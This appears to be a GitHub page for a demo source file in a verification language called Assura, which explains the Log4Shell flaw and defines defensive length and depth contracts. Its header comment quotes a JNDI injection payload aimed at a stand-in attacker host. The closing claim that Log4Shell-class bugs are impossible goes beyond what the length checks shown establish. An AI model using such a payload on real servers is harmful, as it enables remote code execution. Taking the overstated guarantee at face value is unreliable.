-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathdeserialization.assura
More file actions
164 lines (139 loc) · 5.87 KB
/
Copy pathdeserialization.assura
File metadata and controls
164 lines (139 loc) · 5.87 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
// ============================================================================
// CVE-2021-44228: Apache Log4j2 "Log4Shell" -- Unsafe Deserialization / JNDI
// CVSS: 10.0
// Root cause: Apache Log4j2 versions 2.0-beta9 through 2.14.1 evaluated
// JNDI lookups in log message strings. An attacker could send a crafted
// string like ${jndi:ldap://evil.com/payload} in any logged field (HTTP
// headers, form data, etc.), causing the server to fetch and deserialize
// a malicious Java object from an attacker-controlled LDAP/RMI server.
//
// The core problem: untrusted external input flowed into a string
// interpolation engine that performed arbitrary lookups, including
// remote code loading. No boundary existed between "data to log" and
// "instructions to execute."
//
// Assura prevention: Taint tracking (SEC.1) marks all external input as
// @taint:untrusted. Logging functions accept @taint:validated data only.
// The validation gate strips or rejects lookup patterns before the data
// reaches the log formatter, making JNDI injection impossible.
// ============================================================================
project deserialization_demo {
profile: [core, sec]
}
module sec.deserialization;
// ---------------------------------------------------------------------------
// Contract: log message length validation
//
// Log messages from external sources must be length-validated before
// processing. This prevents both buffer overflow in log buffers and
// denial of service via extremely long messages.
// ---------------------------------------------------------------------------
contract LogMessageValidation {
input(
message: Bytes @taint:untrusted,
max_message_length: Nat @taint:trusted
)
requires { message.length() > 0 }
requires { max_message_length > 0 }
requires { message.length() <= max_message_length }
requires { max_message_length <= 65536 }
// PROVEN BY Z3: message is within safe bounds
ensures { message.length() <= 65536 }
ensures { max_message_length >= message.length() }
effects { pure }
}
// ---------------------------------------------------------------------------
// Contract: sanitized field length
//
// After sanitization (removing/escaping lookup patterns), the output
// length is bounded by the input length. Sanitization never increases
// the length (it only removes or replaces dangerous sequences).
// ---------------------------------------------------------------------------
contract SanitizedFieldLength {
input(
raw_length: Nat,
sanitized_length: Nat,
buffer_size: Nat
)
requires { raw_length > 0 }
requires { sanitized_length > 0 }
requires { sanitized_length <= raw_length }
requires { raw_length <= buffer_size }
// PROVEN BY Z3: sanitized output fits in the buffer
ensures { sanitized_length <= buffer_size }
ensures { sanitized_length <= raw_length }
effects { pure }
}
// ---------------------------------------------------------------------------
// Contract: deserialization size limit
//
// If external data must be deserialized, the payload size must be
// bounded before any parsing begins. This prevents memory exhaustion
// from maliciously large payloads.
// ---------------------------------------------------------------------------
contract DeserializationSizeLimit {
input(
payload: Bytes,
max_payload_size: Nat
)
requires { payload.length() > 0 }
requires { max_payload_size > 0 }
requires { payload.length() <= max_payload_size }
requires { max_payload_size <= 1048576 }
// PROVEN BY Z3: payload is within size limits
ensures { payload.length() <= 1048576 }
ensures { max_payload_size >= payload.length() }
effects { pure }
}
// ---------------------------------------------------------------------------
// Contract: nesting depth limit for parsed structures
//
// Deserialized data structures (JSON, XML, etc.) must have bounded
// nesting depth to prevent stack overflow during recursive parsing.
// ---------------------------------------------------------------------------
contract NestingDepthLimit {
input(
current_depth: Nat,
max_depth: Nat
)
requires { current_depth >= 0 }
requires { max_depth > 0 }
requires { current_depth < max_depth }
requires { max_depth <= 128 }
// PROVEN BY Z3: depth is within safe bounds
ensures { current_depth < 128 }
ensures { max_depth - current_depth >= 1 }
effects { pure }
}
// ---------------------------------------------------------------------------
// Standalone fn: validate field count in deserialized object
// ---------------------------------------------------------------------------
fn validate_field_count(
field_count: Nat,
max_fields: Nat
)
requires { field_count >= 0 }
requires { max_fields > 0 }
requires { field_count <= max_fields }
requires { max_fields <= 1024 }
ensures { field_count <= 1024 }
ensures { max_fields >= field_count }
effects { pure }
// ============================================================================
// Summary: What Assura proves at compile time
//
// SEC.1 (Taint tracking): External input (HTTP headers, form data, etc.)
// is marked @taint:untrusted. Log formatting functions require
// @taint:validated data. JNDI lookup patterns in untrusted data are
// rejected at the validation boundary (A09101).
//
// Verified properties:
// 1. LogMessageValidation: Log message length within safe bounds
// 2. SanitizedFieldLength: Sanitized output fits in buffer
// 3. DeserializationSizeLimit: Payload size within memory limits
// 4. NestingDepthLimit: Parsing depth within stack limits
// 5. validate_field_count: Field count within object limits
//
// Result: Unsafe deserialization and JNDI injection via log messages
// are impossible. The Log4Shell class of bugs cannot exist in Assura.
// ============================================================================